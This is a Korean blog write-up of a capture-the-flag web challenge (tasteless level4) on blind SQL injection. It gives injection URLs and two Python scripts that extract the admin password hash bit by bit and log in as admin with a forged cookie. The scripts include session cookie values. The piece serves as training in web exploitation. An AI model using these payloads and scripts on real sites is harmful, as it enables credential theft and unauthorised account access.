test account guest:guest
hint: table is level4, columns are username and pass!
요렇게 힌트가 나오고, 폼이 하나 있어서 폼에다가 블라인드 인젝션을 하는줄알고 별 난리를 쳐봤지만
별 유효한걸 못찾았다. 테스트 계정으로 guest,guest가 있어서 들어가보니 guest로 성공적으로
로그인됬다고 나오고 쿠키값에 login=guest%25084e0343a0486ff05530df6c705c8bb4
이 추가되어있다. 딱 봐도 여기에 뭔가 단서가 있는것같다. 잘 살펴본결과 guest%25뒤의 32글자는
guest를 md5로 인코딩한 값이다. 아이디를 인코딩할리는 없고, 비밀번호인 guest를 md5로
인코딩한 값인 것 같다. view라는게 있어서 들어가보니
http://chall.tasteless.se/level4/index.php?action=pm&id=1 라는 왠지 공격의 벡터가 될거같은
맨 뒤의 id=1이 보였다. id=1%20or%201=1을 해보니 hacker detected가 뜨는걸로 보아
필터링이 되어있고, 필터링이 되어있다는 것은 여기가 공격 포인트이며,
잘 피해서 여기다가 블라인드 인젝션을 할것 같다.
맨 위에 admin이 있다는걸 확인 후,
( http://chall.tasteless.se/level4/index.php?action=pm&id=1%20and%20(select%20length(username)%20from%20level4%20limit%201)=5
로 길이가 5인걸 알아내서
http://chall.tasteless.se/level4/index.php?action=pm&id=1%20and%20(select%20ascii(substr(username,1,1))%20from%20level4%20limit%201)=97
처럼 admin이라고 예상하고 해본결과 확인완료.)
http://chall.tasteless.se/level4/index.php?action=pm&id=1%20and%20(select%20length(pass)%20from%20level4%20limit%201)=32
로 pass가 32자라는걸 확인했다. 32자는 아마도 아까 위에서 확인한 md5의 값일 것이다.
이제 코딩을 하면 된다. 그런데 여기서 중요한점..
chall.tasteless에 코딩을 할 때 반드시 user-agent가 정상적인 브라우저를 적용하자.
처음에 코딩을 할 시에 user-agent설정을 안해줘서 그냥 파이썬 어플리케이션으로 유저 에이전트가
적용되었는데, chall.tasteless에서는 봇같은걸 다 막기 위함인지 유효한 브라우저의 user-agent가
아니면 403에러를 띄워버린다. (그리고 원인을 찾느라 몇시간을 날렸다...)
import urllib2 answer = '' for i in range(1,33): for j in range(48,123): print i,j,answer req = urllib2.Request('http://chall.tasteless.se/level4/index.php?action=pm&id=1%20and%20(select%20ascii(substr(pass,'+str(i)+',1))%20from%20level4%20limit%201)='+str(j)) req.add_header('Cookie','login=guest%25084e0343a0486ff05530df6c705c8bb4; __cfduid=d506c4b3f954b49dfcbd9f4509a27f1671416459313; PHPSESSID=apsgi1kbke839ms7i2f96ifhq6') req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36') #유저 에이전트 반드시 추가. page = urllib2.urlopen(req).read() if page.find('admin') != -1: answer += chr(j) break print answer
그리고 돌리던중 너무 느려서 빠른 방법으로도 다시 짜보았다.
개선된 코드.
import urllib2,re answer = '' for i in range(1,33): for j in range(1,8): print i,j,answer req = urllib2.Request('http://chall.tasteless.se/level4/index.php?action=pm&id=1%20and%20(select%20substr(lpad(bin(ascii(substr(pass,'+str(i)+',1))),7,0),'+str(j)+',1)%20from%20level4%20limit%201)=1') req.add_header('Cookie','login=guest%25084e0343a0486ff05530df6c705c8bb4; __cfduid=d506c4b3f954b49dfcbd9f4509a27f1671416459313; PHPSESSID=apsgi1kbke839ms7i2f96ifhq6') req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36') page = urllib2.urlopen(req).read() if page.find('admin') != -1: answer += '1' else: answer += '0' answer += ' ' answer = re.findall('([\d]+) ',answer) password = '' for i in range(0,len(answer)): print answer[i],' : ',chr(int(answer[i],2)) password += chr(int(answer[i],2)) req = urllib2.Request('http://chall.tasteless.se/level4/index.php?action=pm&id=1') req.add_header('Cookie','login=admin%25'+password+'; __cfduid=d506c4b3f954b49dfcbd9f4509a27f1671416459313; PHPSESSID=apsgi1kbke839ms7i2f96ifhq6') req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36') print urllib2.urlopen(req).read()
chall_tasteless.se_Stop_Quotes.py
'webhacking > sql, sql injection' 카테고리의 다른 글
chall.tasteless.se Infiltration (0) | 2014.12.24 |
---|---|
webhacking.kr 27, 29 (0) | 2014.11.30 |
chall.tasteless.se Milk (0) | 2014.11.21 |
suninatas level 23 (0) | 2014.10.30 |
suninatas level 6 (0) | 2014.10.30 |